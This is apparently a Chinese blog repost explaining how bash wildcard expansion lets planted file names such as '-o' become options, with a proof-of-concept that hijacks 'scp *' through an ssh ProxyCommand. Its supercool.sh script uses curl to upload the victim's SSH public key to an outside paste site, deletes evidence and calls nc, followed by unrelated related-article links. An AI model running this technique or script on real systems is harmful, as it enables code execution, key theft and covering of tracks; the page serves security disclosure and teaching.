supercool.sh文件里,有哪些恶意的命令
当你在一个bash命令行中输入“*”时,bash会扩展到当前目录的所有文件,然后将他们全部作为参数传递给程序。例如:rm *,将会删除掉当前目录的所有文件。
0x01 文件名被当做参数
大多数的命令行程序受此影响。例如ls命令,当不适用任何参数时,输出是这个样子的:
[stephen@superX foo]$ ls asdf.txtfoobar-l
如果你想要知道这些文件所属的组和用户,你可以通过”-l"参数来查看:
[stephen@superX foo]$ ls -l total 0 -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l
注意,有一个名字是“-l”的文件,我们试试“ls *”会发生什么。
[stephen@superX foo]$ ls * -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
与之前不同的是"ls *” 没有输出-l文件,-l文件被当做了此命令的参数。
此条命令相当于运行:
[stephen@superX foo]$ ls asdf.txt foobar -l -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt -rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar 0x02 安全问题
此问题可能导致一些安全问题,当有人参数当中带有一个通配符,又没有事先检查目录下的文件名称。这可能被用来攻击别人电脑。
这个问题是众所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已经有关于此问题的讨论。
0x03 Proof of Concept Exploit
为了证明这个问题可以转化为一个任意代码执行攻击,我们尝试攻击“scp”命令,scp命令提供了-o选项,配置ssh,SSh有涉及运行命令的选项,我们可以利用这一点,让我们的脚本运行。
假设我们有一个目录的控制权限,在该目录下受害者将运行以下命令(想象一下,用户只下载一个web应用程序的源代码,并上传到他们的网络服务器上):
$ scp * user@example.org:/var/www/
为了利用这个命令,在目录下我们需要放几个文件:
"-o" - SCP 将会把这个文件当做 "-o” 参数。 "ProxyCommand sh supercool.sh %h %p" - SCP 将会把这个文件当做 "-o" 的一个参数。 "supercool.sh" - 这个脚本将会被执行。 "zzz.txt" - 没有任何用处的测试文件。
在supercool.sh文件里,有一些恶意的命令:
#!/bin/sh # Upload their SSH public key to the Internet, and put a scary message in /tmp/. echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt curl -s -d "jscrypt=no" -d "lifetime=864000"\ -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"\ https://defuse.ca/bin/add.php -D - |\ grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt # Delete evidence of our attack. rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p echo > ./supercool.sh # Do what ProxyCommand is supposed to do. nc -p 2881064151 -w 5 $1 $2
当受害者执行命令时:
$ scp * user@example.org:/var/www/ supercool.sh zzz.txt
当他检查自己的/tmp目录下的时候将会看到:
$ cat /tmp/you-have-been-hacked.txt By @DefuseSec and @redragonx... This could have been your private key... https://defuse.ca/b/QQ3nxADu
可以在这里下载完整的poc文件:poc.zip
supercool.sh文件里,有哪些恶意的命令的更多相关文章
- SSH远程登录、.sh文件后缀运行、l l命令结果说明、VIM模式切换
目录 SSH远程登录..sh文件后缀运行.l l命令结果说明.VIM模式切换 SSH远程安全登录 .sh文件后缀运行 l l命令结果说明 VIM模式切换 SSH远程登录..sh文件后缀运行.l l命令 ...
- Linux下面如何运行.sh文件
Linux下面如何运行.sh文件 本文介绍Linux下面用命令如何运行.sh文件的方法,有两种方法: 一.直接./加上文件名.sh,如运行hello.sh为./hello.sh[hello.sh必 ...
- iredmail安装脚本分析(二)---get_all.sh 文件所在目录为PKGS
经过上面的一系列分析后,进入到获取安装包的步骤,作者在此处单独写了一个脚本,get_all.sh,我们继续分析这个脚本 _ROOTDIR="$(pwd)" CONF_DIR=&qu ...
- Linux定时任务调用sh文件
1.编写sh文件 创建:vi test.sh 写入:date >> /xiaol/data.txt 2.默认创建的这个sh问件是没有执行权限的,修改权限 chmod 777 test.sh ...
- 基于CentOS的MySQL学习补充四--使用Shell批量从CSV文件里插入数据到数据表
本文出处:http://blog.csdn.net/u012377333/article/details/47022699 从上面的几篇文章中,能够知道怎样使用Shell创建数据库.使用Shell创建 ...
- linux查找文件夹下的全部文件里是否含有某个字符串
查找文件夹下的全部文件里是否含有某个字符串 find .|xargs grep -ri "IBM" 查找文件夹下的全部文件里是否含有某个字符串,而且仅仅打印出文件名称 fin ...
- Notepad++编辑.sh文件
使用记事本创建创建test.txt文件,修改后缀名为sh后,再文件里写以下内容: #!/bin/bash echo "hello world" 这样的文件再linux里是无法执行的 ...
- 从java文件和CS文件里查询方法使用次数工具
前几天,领导让我找一下老系统(Java)里getRemoteUser方法都哪个文件用了,package是什么,方法被调用了多少次,当时因为着急,所以,直接人工找的,但是以后要是再出现,人工找就太讨厌了 ...
- html文件里引入文件html文件
导入通用的代码除了使用php外 iframe在很多界面使用起来比较方便 比如说要写导航 在好几个界面都要用这个导航 可以用iframe引用 实例:这个header.html是我写的一个导航界面 在in ...
随机推荐
- Firefox 及其 插件“个性化设置”备份
Firefox版本发布时间表 2016.10.22 49.0.2 2016.11.15 50.0 2016.11.08 重新使用 Firefox(版本为 49.0.2),访问 Firefox官网 常用 ...
- PHP数组函数: array_walk()
定义和用法 array_walk() 函数对数组中的每个元素应用回调函数.如果成功则返回 TRUE,否则返回 FALSE. 典型情况下 function 接受两个参数.array 参数的值作为第一个, ...
- ASP.NET Core--授权过滤器
翻译如下: 目前,我们正在从事这方面工作. 我们欢迎您的加入,以帮助塑造范围和方法.您可以跟踪状态并在此提供的输入问题在GitHub上. 如果你想查看初稿并在此主题的大纲,请留下注意到在您的联系信息的 ...
- Burpsuite+sqlmap批量扫描sql漏洞
1.burpsuite设置导出log n'd'k 输入文件名保存 2.sqlmap批量扫描 python sqlmap.py -l 文件名 --batch -smart batch:自 ...
- ORA-27101 ORACLE not available
问题描述:今天打开plsql,报错无法识别连接服务 1.然后去找,是不是oracle服务没有启动,但是发现oracle的其他服务都能启动.只有OracleDBConsolearies不能启动,这说明O ...
- 35.两链表的第一个公共结点[Find the first common node of two linked list]
[题目] 两个单向链表,找出它们的第一个公共结点. 链表的结点定义为: C++ Code 123456 struct ListNode { int m_nKey; ...
- libevent在windows平台下通过vs进行编译
1.vs中新建一个静态库项目 2.配置头文件目录,将./compat../include../WIN32-Code三个目录添加到文件目录中 3.用记事本打开Makefile.nmake文件,可以看到里 ...
- percona-toolkit 之 【pt-online-schema-change】说明
背景: MySQL 大字段的DDL操作:加减字段.索引.修改字段属性等,在5.1之前都是非常耗时耗力的,特别是会对MySQL服务产生影响.在5.1之后随着Plugin Innodb的出现在线加索引的提 ...
- 【转】Android Studio系列教程六--Gradle多渠道打包
原文链接:http://stormzhang.com/devtools/2015/01/15/android-studio-tutorial6/ 由于国内Android市场众多渠道,为了统计每个渠道的 ...
- 无法打开之前cuda的vs项目,打开之后变灰色
解决办法: 打开convolution_vs2010.vcxproj文件,将之前cuda 5.5全部改成cuda7.5. 就可以打开了.